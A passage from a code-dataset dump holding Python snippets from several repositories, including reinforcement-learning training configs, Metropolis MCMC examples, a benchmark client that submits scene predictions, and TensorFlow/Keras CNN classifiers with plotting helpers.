args.reward_scale = 2 ** -1 # RewardRange: -1800 < -200 < -50 < 0\r\n args.gamma = 0.97\r\n args.target_step = args.max_step * 16\r\n args.eval_times = 2 ** 3\r\n\r\n if_train_lunar_lander = 1\r\n if if_train_lunar_lander:\r\n \"TotalStep: 4e5, TargetReward: 200, UsedTime: 900s\"\r\n # env = gym.make('LunarLanderContinuous-v2')\r\n # get_gym_env_args(env=env, if_print=True)\r\n env_func = gym.make\r\n env_args = {'env_num': 1,\r\n 'env_name': 'LunarLanderContinuous-v2',\r\n 'max_step': 1000,\r\n 'state_dim': 8,\r\n 'action_dim': 2,\r\n 'if_discrete': False,\r\n 'target_return': 200,\r\n\r\n 'id': 'LunarLanderContinuous-v2'}\r\n args = Arguments(AgentPPO, env_func=env_func, env_args=env_args)\r\n\r\n args.target_step = args.max_step * 4\r\n args.gamma = 0.99\r\n args.eval_times = 2 ** 5\r\n\r\n if_train_bipedal_walker = 0\r\n if if_train_bipedal_walker:\r\n \"TotalStep: 8e5, TargetReward: 300, UsedTime: 1800s\"\r\n env_func = gym.make\r\n env_args = {'env_num': 1,\r\n 'env_name': 'LunarLanderContinuous-v2',\r\n 'max_step': 1000,\r\n 'state_dim': 8,\r\n 'action_dim': 2,\r\n 'if_discrete': False,\r\n 'target_return': 200,\r\n\r\n 'id': 'LunarLanderContinuous-v2'}\r\n args = Arguments(AgentPPO, env_func=env_func, env_args=env_args)\r\n args.target_step = args.max_step * 2\r\n args.gamma = 0.98\r\n args.eval_times = 2 ** 4\r\n\r\n if_check = 0\r\n if if_check:\r\n train_and_evaluate(args)\r\n else:\r\n train_and_evaluate_mp(args)\r\n\r\n\r\nif __name__ == '__main__':\r\n demo_off_policy()\r\n # demo_on_policy()\r\n", "id": "281199", "language": "Python", "matching_score": 4.017919540405273, "max_stars_count": 0, "path": "elegantrl/demo.py" }, { "content": "import gym\n\nfrom elegantrl.agents.AgentPPO import AgentPPO\nfrom elegantrl.envs.Gym import get_gym_env_args\nfrom elegantrl.train.config import Arguments\nfrom elegantrl.train.run import train_and_evaluate, train_and_evaluate_mp\n\nget_gym_env_args(gym.make('BipedalWalker-v3'), if_print=True)\n\nenv_func = gym.make\nenv_args = {\n 'env_num': 1,\n 'env_name': 'BipedalWalker-v3',\n 'max_step': 1600,\n 'state_dim': 24,\n 'action_dim': 4,\n 'if_discrete': False,\n 'target_return': 300,\n 'id': 'BipedalWalker-v3',\n}\n\nargs = Arguments(agent=AgentPPO, env_func=env_func, env_args=env_args)\n\nargs.net_dim = 2 ** 8\nargs.batch_size = args.net_dim * 2\nargs.target_step = args.max_step * 2\nargs.worker_num = 4\n\nargs.save_gap = 2 ** 9\nargs.eval_gap = 2 ** 8\nargs.eval_times1 = 2 ** 4\nargs.eval_times2 = 2 ** 5\n\nflag = 'SingleProcess'\n\nif flag == 'SingleProcess':\n args.learner_gpus = 0\n train_and_evaluate(args)\nelif flag == 'MultiProcess':\n args.learner_gpus = 0\n train_and_evaluate_mp(args)\nelif flag == 'MultiGPU':\n args.learner_gpus = [0, 1, 2, 3]\n train_and_evaluate_mp(args)\nelif flag == 'Tournament-based':\n args.learner_gpus = [[i, ] for i in range(4)] # [[0,], [1, ], [2, ]] or [[0, 1], [2, 3]]\n python_path = '../bin/python3'\n train_and_evaluate_mp(args, python_path) # multiple processing\nelse:\n raise ValueError(f\"Unknown flag: {flag}\")\n", "id": "10751246", "language": "Python", "matching_score": 1, "max_stars_count": 0, "path": "examples/tutorial_BipedalWalker-v3.py" }, { "content": "def main(name):\n print(f'Hey {name}')\n\nif __name__ == '__main__':\n name = 'Astarag'\n main(name)\n", "id": "492502", "language": "Python", "matching_score": 0.010064421221613884, "max_stars_count": 0, "path": "quickstart-automate/main.py" } ]
3.84458
kiat
[ { "content": "# http://people.duke.edu/~ccc14/sta-663-2016/16A_MCMC.html\n\nimport numpy as np\n\nimport seaborn as sns\n\n\ndef make_islands(n, low=10, high=101):\n islands = np.random.randint(low, high, n+2)\n islands[0] = 0\n islands[-1] = 0\n return islands\n\n\nislands = make_islands(10)\nthetas = hop(islands, start=1, niter=10000)\n\n\n\n# Main Metroplis implementation \ndef metroplis(start, target, proposal, niter, nburn=0):\n current = start\n post = [current]\n for i in range(niter):\n proposed = proposal(current)\n p = min(target(proposed)/target(current), 1)\n if np.random.random() < p:\n current = proposed\n post.append(current)\n return post[nburn:]\n\n\n\n# Generic Metropolis scheme\n\ndata = islands[1:-1]\ndata = data/data.sum()\nsns.barplot(x=np.arange(len(data)), y=data)\npass\n\n# Apply to island hooper - MH\n \ntarget = lambda x: islands[x]\nproposal = lambda x: x + np.random.choice([-1, 1])\npost = metroplis(1, target, proposal, 2000)\ndata = np.bincount(post)[1:]\ndata = data/data.sum()\nsns.barplot(x=np.arange(len(data)), y=data)\npass", "id": "12748931", "language": "Python", "matching_score": 3.959900379180908, "max_stars_count": 32, "path": "Python_examples/island3.py" }, { "content": "# http://people.duke.edu/~ccc14/sta-663-2016/16A_MCMC.html\n\nimport numpy as np\n\nimport seaborn as sns\n\n\ndef make_islands(n, low=10, high=101):\n islands = np.random.randint(low, high, n+2)\n islands[0] = 0\n islands[-1] = 0\n return islands\n\ndef hop(islands, start=1, niter=1000):\n pos = start\n pop = islands[pos]\n thetas = np.zeros(niter+1, dtype='int')\n thetas[0] = pos\n for i in range(niter):\n # generate sample from proposal distribution\n k = np.random.choice([-1, 1], 1)\n next_pos = pos + k\n # evaluate unnormalized target distribution at proposed position\n next_pop = islands[next_pos]\n # calculate acceptance probability\n p = min(1, next_pop/pop)\n # use uniform random to decide accept/reject proposal\n if np.random.random() < p:\n pos = next_pos\n pop = next_pop\n thetas[i+1] = pos\n return thetas\n\nislands = make_islands(10)\nthetas = hop(islands, start=1, niter=10000)\n\n# Generic Metropolis scheme\n\n# data = islands[1:-1]\n# data = data/data.sum()\n# sns.barplot(x=np.arange(len(data)), y=data)\n# pass\n\n# Estimated population proportions by doing hops\ndata = np.bincount(thetas)[1:]\ndata = data/data.sum()\nsns.barplot(x=np.arange(len(data)), y=data)\npass\n", "id": "3053291", "language": "Python", "matching_score": 1.4363288879394531, "max_stars_count": 32, "path": "Python_examples/island2.py" }, { "content": "\n# http://people.duke.edu/~ccc14/sta-663-2016/16A_MCMC.html\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom scipy import stats\n\n\nthetas = np.linspace(0, 1, 200)\n\n\n\nn = 100\nh = 61\na = 10\nb = 10\n\n\n\n\n\ndef target(lik, prior, n, h, theta):\n if theta < 0 or theta > 1:\n return 0\n else:\n return lik(n, theta).pmf(h)*prior.pdf(theta)\n\ndef mh_coin(niters, n, h, theta, lik, prior, sigma):\n samples = [theta]\n while len(samples) < niters:\n theta_p = theta + stats.norm(0, sigma).rvs()\n rho = min(1, target(lik, prior, n, h, theta_p)/target(lik, prior, n, h, theta ))\n u = np.random.uniform()\n if u < rho:\n theta = theta_p\n samples.append(theta)\n return samples\n\n\nlik = stats.binom\nprior = stats.beta(a, b)\nsigma = 0.05\nniters = 100\n\nsampless = [mh_coin(niters, n, h, theta, lik, prior, sigma) for theta in np.arange(0.1, 1, 0.2)]\n\n\nfor samples in sampless:\n plt.plot(samples, '-o')\nplt.xlim([0, niters])\nplt.ylim([0, 1]);", "id": "11037587", "language": "Python", "matching_score": 2.9321465492248535, "max_stars_count": 32, "path": "Python_examples/MCMC_MH_Coin.py" }, { "content": "\n# http://people.duke.edu/~ccc14/sta-663-2016/16A_MCMC.html\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import stats\n\n\nthetas = np.linspace(0, 1, 200)\n\n\n\ndef metroplis(start, target, proposal, niter, nburn=0):\n current = start\n post = [current]\n for i in range(niter):\n proposed = proposal(current)\n p = min(target(proposed)/target(current), 1)\n if np.random.random() < p:\n current = proposed\n post.append(current)\n return post[nburn:]\n\n\ndef target(lik, prior, n, h, theta):\n if theta < 0 or theta > 1:\n return 0\n else:\n return lik(n, theta).pmf(h)*prior.pdf(theta)\n\nn = 100\nh = 61\na = 10\nb = 10\n\n\n\n\nlik = stats.binom\nprior = stats.beta(a, b)\nsigma = 0.3\n\nnaccept = 0\ntheta = 0.1\nniters = 10000\nsamples = np.zeros(niters+1)\nsamples[0] = theta\n\n\n\nfor i in range(niters):\n theta_p = theta + stats.norm(0, sigma).rvs()\n rho = min(1, target(lik, prior, n, h, theta_p)/target(lik, prior, n, h, theta ))\n u = np.random.uniform()\n if u < rho:\n naccept += 1\n theta = theta_p\n samples[i+1] = theta\nnmcmc = len(samples)//2\nprint(\"Efficiency = \", naccept/niters)\n\n\n\n\npost = stats.beta(h+a, n-h+b)\n\nplt.hist(samples[nmcmc:], 40, histtype='step', density=True, linewidth=1, label='Prior');\nplt.hist(prior.rvs(nmcmc), 40, histtype='step', density=True, linewidth=1, label='Posterior');\nplt.plot(thetas, post.pdf(thetas), c='red', linestyle='--', alpha=0.5, label='True posterior')\nplt.xlim([0,1]);\nplt.legend(loc='upper left')\npass\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "id": "4804498", "language": "Python", "matching_score": 2.9358348846435547, "max_stars_count": 32, "path": "Python_examples/metroplis_MCMC.py" }, { "content": "from __future__ import division\nimport os\nimport sys\nimport glob\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport scipy.stats as st\n\n#matplotlib inline\n# precision 4\nplt.style.use('ggplot')\nfrom mpl_toolkits.mplot3d import Axes3D\nimport scipy.stats as stats\nfrom functools import partial\nnp.random.seed(1234)\n\n\n\nn = 100\nh = 61\np = h/n\nrv = st.binom(n, p)\nmu = rv.mean()\n\na, b = 10, 10\nprior = st.beta(a, b)\npost = st.beta(h+a, n-h+b)\nci = post.interval(0.95)\n\nthetas = np.linspace(0, 1, 200)\nplt.figure(figsize=(12, 9))\nplt.style.use('ggplot')\nplt.plot(thetas, prior.pdf(thetas), label='Prior', c='blue')\nplt.plot(thetas, post.pdf(thetas), label='Posterior', c='red')\nplt.plot(thetas, n*st.binom(n, thetas).pmf(h), label='Likelihood', c='green')\nplt.axvline((h+a-1)/(n+a+b-2), c='red', linestyle='dashed', alpha=0.4, label='MAP')\nplt.axvline(mu/n, c='green', linestyle='dashed', alpha=0.4, label='MLE')\nplt.xlim([0, 1])\nplt.axhline(0.3, ci[0], ci[1], c='black', linewidth=2, label='95% CI');\nplt.xlabel(r'$\\theta$', fontsize=14)\nplt.ylabel('Density', fontsize=16)\nplt.legend();\n\nplt.show()\n", "id": "810301", "language": "Python", "matching_score": 0.1105678603053093, "max_stars_count": 32, "path": "Python_examples/MCMC_InPython.py" }, { "content": "import requests\nimport json\nimport pandas as pd\nimport os\n\n\ndef host_url(host, path):\n return \"http://\" + host + path\n\n\ndef get_scene(host):\n return requests.get(host_url(host, '/scene/'))\n\n\ndef post_answer(host, payload):\n headers = {'Content-type': 'application/json'}\n response = requests.post(host_url(host, '/scene/'), json = payload, headers=headers)\n\n print('Response status is: ', response.status_code)\n if (response.status_code == 201):\n return {'status': 'success', 'message': 'updated'}\n if (response.status_code == 404):\n return {'message': 'Something went wrong. No scene exist. Check if the path is correct'}\n\n\nif __name__ == \"__main__\":\n print('ENV is ', os.getenv('BENCHMARK_SYSTEM_URL'))\n\n host = os.getenv('BENCHMARK_SYSTEM_URL')\n if host is None or '':\n print('Error reading Server address!')\n\n print('Getting scenes for predictions...')\n\n # Here is an automated script for getting all scenes\n # and submitting prediction for each of them\n # you may change to fit your needs\n while(True):\n\n # Making GET request\n # Each request will fetch new scene\n response = get_scene(host)\n if response.status_code == 404:\n print(response.json())\n break\n\n data = response.json()\n\n # example of reconstruction json payload from GET request into DataFrame\n reconstructed_scene = pd.read_json(data['scene'], orient='records')\n\n # DO YOUR PREDICTIONS HERE\n # return the result in format in plain json:\n # for example:\n example_result = {'car': 1, 'armchair': 2}\n # after making sure the result in correct form you need to submit it\n # via POST request:\n post_answer(host, example_result)\n\n print('Submission for all scenes done successfully!')\n", "id": "9584314", "language": "Python", "matching_score": 3.9597830772399902, "max_stars_count": 0, "path": "src/client-cpp/client_app/client_app.py" }, { "content": "import requests\nimport json\nimport pandas as pd\nimport os\n\nfrom plugin.load_model import load_graph, return_prediction, object_names_func\n\n\ndef host_url(host, path):\n return \"http://\" + host + path\n\n\ndef get_scene(host):\n return requests.get(host_url(host, \"/scene/\"))\n\n\ndef post_answer(host, payload):\n headers = {\"Content-type\": \"application/json\"}\n response = requests.post(host_url(host, \"/scene/\"), json=payload, headers=headers)\n\n print(\"Response status is: \", response.status_code)\n if response.status_code == 201:\n return {\"status\": \"success\", \"message\": \"updated\"}\n if response.status_code == 404:\n return {\n \"message\": \"Something went wrong. No scene exist. Check if the path is correct\"\n }\n\n\ndef main():\n print(\"ENV is \", os.getenv(\"BENCHMARK_SYSTEM_URL\"))\n\n host = os.getenv(\"BENCHMARK_SYSTEM_URL\")\n if host is None or \"\":\n print(\"Error reading Server address!\")\n\n print(\"Getting scenes for predictions...\")\n\n # Creating the session\n session, img_length, img_height, y_pred_cls, x = load_graph(layers=False, path_to_model=\"model/two_d_cnn_proj.ckpt\")\n object_names = object_names_func()\n\n # Here is an automated script for getting all scenes\n while True:\n\n response = get_scene(host)\n\n if response.status_code == 404:\n print(response.json())\n break\n\n data = response.json()\n\n reconstructed_scene = pd.read_json(data[\"scene\"], orient=\"records\")\n\n result = return_prediction(\n reconstructed_scene,\n session,\n object_names,\n img_length,\n img_height,\n y_pred_cls,\n x,\n True,\n 'perspective',\n True\n )\n\n post_answer(host, result)\n\n print(\"Submission for all scenes done successfully!\")\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "6239981", "language": "Python", "matching_score": 0.8930411338806152, "max_stars_count": 0, "path": "src/ssh-kd/client.py" }, { "content": "# Packages\nimport numpy as np\nimport tensorflow as tf\n\n\"\"\"\n This class creates an tensor flow graph 2_D_CNN graph\n\"\"\"\nclass ClassifyWith2dCnn(object):\n def __init__(\n self, \n img_shape=(70,100), \n num_classes = 28,\n num_channels = 1, \n filter_size = 5, \n number_of_filters = 16, \n fc_size = 128\n ):\n\n # To see the version of the tensorflow\n self.__version__ = tf.__version__\n\n # Variable to store the tf.Session and input and output layer of the graph\n self.session = None\n self.y_pred_cls_ = None\n self.x = None\n self.y_true = None\n self.accuracy = None\n self.optimizer = None\n self.cost = None\n \n # Varaibles to give the dimensions for the layers of graph\n self.img_shape = img_shape\n self.img_size_flat = img_shape[0]*img_shape[1]\n self.num_classes = num_classes\n self.num_channels = num_channels\n self.filter_size1 = filter_size\n self.filter_size2 = filter_size\n self.num_filters1 = number_of_filters\n self.num_filters2 = number_of_filters\n self.fc_size = fc_size\n\n def new_weights(self, shape):\n return tf.Variable(tf.truncated_normal(shape, stddev=0.05))\n\n def new_biases(self,length):\n return tf.Variable(tf.constant(0.05, shape=[length]))\n\n def new_conv_layer(\n self,\n input_layer,\n num_input_channels,\n filter_size,\n num_filters,\n use_pooling=True,\n ):\n # Shape of the filter-weights for the convolution\n shape = [filter_size, filter_size, num_input_channels, num_filters]\n # Create new weights with the shape\n weights = self.new_weights(shape=shape)\n # create the new biases of each filter\n biases = self.new_biases(length=num_filters)\n # creating the layer\n layer = tf.nn.conv2d(\n input=input_layer, filter=weights, strides=[1, 1, 1, 1], padding=\"SAME\"\n )\n # adding the bias to the layer\n layer += biases\n # Create the max pooling layer\n if use_pooling:\n layer = tf.nn.max_pool(\n value=layer, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=\"SAME\"\n )\n # Adding relu\n layer = tf.nn.relu(layer)\n # return the layer and weights. Weights are used to plot the weights later\n return layer, weights\n\n def flatten_layer(self, layer):\n # get the shape of the input layer.\n layer_shape = layer.get_shape()\n\n # The shape of the input layer is assusmed to be\n # layer_shape == [num_images, img_height, img_width, num_channels]\n\n # The number of features is: img_height* img_width * num_of channels\n num_features = layer_shape[1:4].num_elements()\n\n # Reshape the layer to [num_images, num_features]\n layer_flat = tf.reshape(layer, [-1, num_features])\n\n # returning the flattened layer\n return layer_flat, num_features\n\n def new_fc_layer(self, input_layer, num_inputs, num_outputs, use_relu=True):\n # create new weights and biases\n weights = self.new_weights(shape=[num_inputs, num_outputs])\n biases = self.new_biases(length=num_outputs)\n\n # calculating the layer\n layer = tf.matmul(input_layer, weights) + biases\n\n # check if is relu\n if use_relu:\n layer = tf.nn.relu(layer)\n return layer\n\n # Drop out layer\n def new_drop_out(self, input_layer, num_inputs, num_outputs, use_relu=True):\n # Create the new weights and biases\n weights = self.new_weights(shape=[num_inputs, num_outputs])\n biases = self.new_biases(length=num_outputs)\n\n # Create the drop out layer\n dropped = tf.nn.dropout(input_layer, keep_prob = 0.5)\n\n # calculating the layer\n layer = tf.matmul(dropped, weights) + biases\n\n # check if is relu\n if use_relu:\n layer = tf.nn.relu(layer)\n return layer\n\n def sample_structure(self):\n x = tf.placeholder(tf.float32, shape=[None, self.img_size_flat], name=\"x\")\n x_image = tf.reshape(x, [-1, self.img_shape[0], self.img_shape[1], self.num_channels])\n y_true = tf.placeholder(tf.float32, shape=[None, self.num_classes], name=\"y_true\")\n y_true_cls = tf.argmax(y_true, axis=1)\n layer_conv1, weights_conv1 = self.new_conv_layer(\n input_layer=x_image,\n num_input_channels=self.num_channels,\n filter_size=self.filter_size1,\n num_filters=self.num_filters1,\n use_pooling=True,\n )\n\n layer_conv2, weights_conv2 = self.new_conv_layer(\n input_layer=layer_conv1,\n num_input_channels=self.num_filters1,\n filter_size=self.filter_size2,\n num_filters=self.num_filters2,\n use_pooling=True,\n )\n\n # layer_conv3, weights_conv3 = self.new_conv_layer(\n # input_layer=layer_conv2,\n # num_input_channels=self.num_filters1,\n # filter_size=self.filter_size2,\n # num_filters=self.num_filters2,\n # use_pooling=False,\n # )\n\n # layer_conv4, weights_conv4 = self.new_conv_layer(\n # input_layer=layer_conv3,\n # num_input_channels=self.num_filters1,\n # filter_size=self.filter_size2,\n # num_filters=self.num_filters2,\n # use_pooling=True,\n # )\n\n layer_flat, num_features = self.flatten_layer(layer_conv2)\n layer_fc1 = self.new_fc_layer(\n input_layer=layer_flat,\n num_inputs=num_features,\n num_outputs=self.fc_size,\n use_relu=True,\n )\n layer_dropout = tf.nn.dropout(layer_fc1 ,keep_prob=0.8)\n layer_fc2 = self.new_fc_layer(\n input_layer=layer_dropout,\n num_inputs=self.fc_size,\n num_outputs=self.num_classes,\n use_relu=False,\n )\n\n y_pred = tf.nn.softmax(layer_fc2)\n y_pred_cls = tf.argmax(y_pred, axis=1)\n \n \n cross_entropy = tf.nn.softmax_cross_entropy_with_logits(\n logits=layer_fc2, labels=y_true\n )\n cost = tf.reduce_mean(cross_entropy)\n optimizer = tf.train.AdamOptimizer(learning_rate=1e-4).minimize(cost)\n correct_prediction = tf.equal(y_pred_cls, y_true_cls)\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n self.x = x\n self.y_pred_cls_ = y_pred_cls\n self.y_true = y_true\n self.accuracy = accuracy\n self.optimizer = optimizer\n self.cost = cost\n ", "id": "10776161", "language": "Python", "matching_score": 2.3931198120117188, "max_stars_count": 0, "path": "src/starter-code/cnn2d.py" }, { "content": "import math\nimport numpy as np\nimport tensorflow as tf\nfrom datetime import datetime\n\nfrom utils.data_prep import train_validation\n\ndef optimize(\n num_iterations,\n train_batch_size,\n input_train,\n output_train,\n session,\n x,\n y_true,\n optimizer,\n accuracy,\n cost,\n prob\n):\n\n # Start time\n start_time = datetime.now()\n\n # input and validation\n n = len(input_train)\n len_validation_from = n - int(n / 7)\n\n input_train, output_train, val_input, val_output = train_validation(\n input_train, output_train, len_validation_from\n )\n\n trian_len = len(input_train)\n val_len = len(val_input)\n\n # Accuracy and cost lists\n train_loss = []\n val_loss = []\n\n train_accu = []\n val_accu = []\n\n num_of_batches = math.ceil(trian_len / train_batch_size)\n\n # Converting the input into tensors\n x_batch1 = tf.convert_to_tensor(input_train)\n y_true_batch1 = tf.convert_to_tensor(output_train)\n\n # Creating the input_queue\n input_queue = tf.train.slice_input_producer([x_batch1, y_true_batch1])\n\n # Slicing the image\n sliced_x = input_queue[0]\n sliced_y = input_queue[1]\n\n # Batching the queue\n x_batch2, y_true_batch2 = tf.train.batch(\n [sliced_x, sliced_y],\n batch_size=train_batch_size,\n allow_smaller_final_batch=True,\n )\n\n # Coordinating te multi threaded function\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord, sess=session)\n\n for i in range(num_of_batches * num_iterations):\n\n x_batch, y_true_batch = session.run([x_batch2, y_true_batch2])\n\n # Put the batch in the dict with the proper names\n feed_dict_train = {x: x_batch, y_true: y_true_batch, prob: 0.8}\n\n # Run the optimizer using this batch of the training data\n session.run(optimizer, feed_dict=feed_dict_train)\n\n # printing status for every 10 iterations\n if i % num_of_batches == 0:\n\n count = 0\n val_acc = 0\n val_cost = 0\n\n for j in range(int(val_len / 100)):\n val_acc = val_acc + session.run(\n accuracy,\n feed_dict={\n x: np.array(\n val_input[j * 100 : (j + 1) * 100], dtype=np.float32\n ),\n y_true: np.array(\n val_output[j * 100 : (j + 1) * 100], dtype=np.float32\n ),\n }\n )\n val_cost = val_cost + session.run(\n cost,\n feed_dict={\n x: np.array(\n val_input[j * 100 : (j + 1) * 100], dtype=np.float32\n ),\n y_true: np.array(\n val_output[j * 100 : (j + 1) * 100], dtype=np.float32\n ),\n },\n )\n count += 1\n\n val_acc = val_acc / count\n val_cost = val_cost / count\n\n val_accu.append(val_acc)\n val_loss.append(val_cost)\n\n # Calculating the train accuracy\n count = 0\n train_acc = 0\n train_cost = 0\n\n for j in range(int(trian_len / 100)):\n train_acc = train_acc + session.run(\n accuracy,\n feed_dict={\n x: np.array(\n input_train[j * 100 : (j + 1) * 100], dtype=np.float32\n ),\n y_true: np.array(\n output_train[j * 100 : (j + 1) * 100], dtype=np.float32\n ),\n prob:0.8\n },\n )\n train_cost = train_cost + session.run(\n cost,\n feed_dict={\n x: np.array(\n input_train[j * 100 : (j + 1) * 100], dtype=np.float32\n ),\n y_true: np.array(\n output_train[j * 100 : (j + 1) * 100], dtype=np.float32\n ),\n prob:0.8\n },\n )\n count += 1\n\n train_acc = train_acc / count\n train_cost = train_cost / count\n\n train_accu.append(train_acc)\n train_loss.append(train_cost)\n\n print(\"---------\")\n print(\n \"Optimization Epochs: {0:>6}, Training Accuracy: {1:6.1%}, validation Accuracy: {2:6.1%}, training cost: {3}, val_cost: {4}\".format(\n (i / num_of_batches) + 1, train_acc, val_acc, train_cost, val_cost\n )\n )\n\n coord.request_stop()\n coord.join(threads)\n\n # Ending time\n end_time = datetime.now()\n\n print(\"Time usage: {}\".format(end_time - start_time))\n return train_accu, val_accu, train_loss, val_loss\n\n\ndef print_test_accuracy(\n test_input, test_output, session, y_true, y_pred_cls, x, show_confusion_matrix=False\n):\n\n # number of images in the test -set\n num_test = len(test_input)\n\n # creating an empty array\n cls_pred = np.zeros(shape=num_test, dtype=np.int)\n\n # Starting index\n i = 0\n\n test_batch_size = 64\n\n while i < num_test:\n # J is the ending index\n j = min(i + test_batch_size, num_test)\n\n # get the images\n images = test_input[i:j]\n\n # Get the assiciated labels\n labels = test_output[i:j]\n\n # Feed the dict with the images and labels\n feed_dict = {x: images, y_true: labels}\n\n # Calculate the predicated class using TensorFlow\n cls_pred[i:j] = session.run(y_pred_cls, feed_dict=feed_dict)\n\n i = j\n\n cls_true = [np.argmax(i) for i in test_output]\n cls_true = np.array(cls_true)\n\n correct = cls_true == cls_pred\n correct_sum = correct.sum()\n\n acc = float(correct_sum) / num_test\n\n msg = \"Accuracy on Test-Set: {0:.1%} ({1} / {2})\"\n\n print(msg.format(acc, correct_sum, num_test))\n\n # Plot the confusion matrix, if desired.\n if show_confusion_matrix:\n print(\"Confusion Matrix:\")\n # Visualization().plot_confusion_matrix(cls_pred, cls_true)", "id": "1782059", "language": "Python", "matching_score": 2.708428144454956, "max_stars_count": 0, "path": "src/ssh-kd/utils/optimize.py" }, { "content": "from __future__ import division, print_function, absolute_import\n\nfrom keras.models import Sequential, model_from_json\nfrom keras.layers import (\n Dense,\n Dropout,\n Flatten,\n Conv3D,\n MaxPool3D,\n BatchNormalization,\n Input,\n)\nfrom keras.optimizers import RMSprop\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.utils.np_utils import to_categorical\nfrom keras.callbacks import ReduceLROnPlateau, TensorBoard\n\nimport h5py\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nsns.set_style(\"white\")\n\nfrom sklearn.metrics import confusion_matrix, accuracy_score\n\n\nclass ClassifyWith3dCnn(object):\n def __init__(self, X_train, y_train, X_test, y_test):\n # Hyper Parameter\n self.batch_size = 86\n self.epochs = 30\n\n # Set up TensorBoard\n self.tensorboard = TensorBoard(batch_size=self.batch_size)\n\n self.X_train = self.translate(X_train).reshape(-1, 16, 16, 16, 3)\n self.X_test = self.translate(X_test).reshape(-1, 16, 16, 16, 3)\n\n self.y_train = to_categorical(y_train, 2)\n self.y_test = y_test\n\n self.model = self.CNN((16, 16, 16, 3), 2)\n\n def translate(self, x):\n xx = np.ndarray((x.shape[0], 4096, 3))\n for i in range(x.shape[0]):\n xx[i] = self.array_to_color(x[i])\n if i % 1000 == 0:\n print(i)\n # Free Memory\n del x\n\n return xx\n\n # Translate data to color\n def array_to_color(self, array, cmap=\"Oranges\"):\n s_m = plt.cm.ScalarMappable(cmap=cmap)\n return s_m.to_rgba(array)[:, :-1]\n\n # Conv2D layer\n def Conv(\n self, filters=16, kernel_size=(3, 3, 3), activation=\"relu\", input_shape=None\n ):\n if input_shape:\n return Conv3D(\n filters=filters,\n kernel_size=kernel_size,\n padding=\"Same\",\n activation=activation,\n input_shape=input_shape,\n )\n else:\n return Conv3D(\n filters=filters,\n kernel_size=kernel_size,\n padding=\"Same\",\n activation=activation,\n )\n\n # Define Model\n def CNN(self, input_dim, num_classes):\n model = Sequential()\n\n model.add(self.Conv(8, (3, 3, 3), input_shape=input_dim))\n model.add(self.Conv(16, (3, 3, 3)))\n # model.add(BatchNormalization())\n model.add(MaxPool3D())\n # model.add(Dropout(0.25))\n\n model.add(self.Conv(32, (3, 3, 3)))\n model.add(self.Conv(64, (3, 3, 3)))\n model.add(BatchNormalization())\n model.add(MaxPool3D())\n model.add(Dropout(0.25))\n\n model.add(Flatten())\n\n model.add(Dense(4096, activation=\"relu\"))\n model.add(Dropout(0.5))\n\n model.add(Dense(1024, activation=\"relu\"))\n model.add(Dropout(0.5))\n\n model.add(Dense(num_classes, activation=\"softmax\"))\n\n return model\n\n # Train Model\n def train(self, optimizer, scheduler):\n\n print(\"Training...\")\n self.model.compile(\n optimizer=\"adam\", loss=\"categorical_crossentropy\", metrics=[\"accuracy\"]\n )\n\n self.model.fit(\n x=self.X_train,\n y=self.y_train,\n batch_size=self.batch_size,\n epochs=self.epochs,\n validation_split=0.15,\n verbose=2,\n callbacks=[scheduler, self.tensorboard],\n )\n\n def evaluate(self):\n\n pred = self.model.predict(self.X_test)\n pred = np.argmax(pred, axis=1)\n\n print(\"Accuracy: \", accuracy_score(pred, self.y_test))\n # Heat Map\n array = confusion_matrix(self.y_test, pred)\n cm = pd.DataFrame(array, index=range(2), columns=range(2))\n plt.figure(figsize=(20, 20))\n sns.heatmap(cm, annot=True)\n plt.show()\n\n def cnn_initiate(self):\n\n optimizer = RMSprop(lr=0.001, rho=0.9, epsilon=1e-08, decay=0.0)\n scheduler = ReduceLROnPlateau(\n monitor=\"val_acc\", patience=3, verbose=1, factor=0.5, min_lr=1e-5\n )\n\n self.train(optimizer, scheduler)\n self.evaluate()\n", "id": "2589590", "language": "Python", "matching_score": 1.3253977298736572, "max_stars_count": 0, "path": "src/starter-code/cnn3d.py" }, { "content": "import numpy as np\nimport math\nimport matplotlib.pyplot as plt\nimport sys, os\n\nsys.path.insert(0, os.path.abspath(\"..\"))\n\nfrom plugin.load_model import object_names_func\n\ndef plot_conv_weights(w, input_channel=0, file_name=\"../model/weights.png\" ):\n\n weight_min = np.min(w)\n weight_max = np.max(w)\n\n # Number of filters used in the conv. layer.\n num_filters = w.shape[3]\n\n # Number of grids to plot.\n num_grids = math.ceil(math.sqrt(num_filters))\n \n # Create figure with a grid of sub-plots.\n fig, axes = plt.subplots(num_grids, num_grids)\n\n # Plot all the filter-weights.\n for i, ax in enumerate(axes.flat):\n \n # Only plot the valid filter-weights.\n if i<num_filters:\n img = w[:, :, input_channel, i]\n\n # Plot image.\n ax.imshow(img, vmin=weight_min, vmax=weight_max,\n interpolation='nearest', cmap='seismic')\n \n # Remove ticks from the plot.\n ax.set_xticks([])\n ax.set_yticks([])\n \n \n plt.savefig(file_name)\n\n\ndef plot_conv_layer(values , file_name=\"../model/conv.png\" ):\n \n # Number of filters used in the conv layer\n num_filters = values.shape[3]\n\n # Number of grids to plot.\n num_grids = math.ceil(math.sqrt(num_filters))\n \n # Create figure with a grid of sub-plots.\n fig, axes = plt.subplots(num_grids, num_grids)\n\n # Plot the output images of all the filters.\n for i, ax in enumerate(axes.flat):\n # Only plot the images for valid filters.\n if i<num_filters:\n # Get the output image of using the i'th filter.\n img = values[0, :, :, i]\n\n # Plot image.\n ax.imshow(img, interpolation='nearest', cmap='binary')\n \n # Remove ticks from the plot.\n ax.set_xticks([])\n ax.set_yticks([])\n \n \n plt.savefig(file_name)\n\ndef plot_input_images():\n\n object_names = object_names_func()\n list_of_object_choice = list(range(29))\n list_of_object_choice.remove(22)\n\n # reading in the data of the desired object\n for j in list_of_object_choice:\n desired_object = j\n file_name = \"../data/{}_input.npy\".format(object_names[desired_object])\n to_plot = np.load(file_name)\n\n\n # plotting the object\n fig = plt.figure(figsize=(100,100))\n colums = 20\n rows = 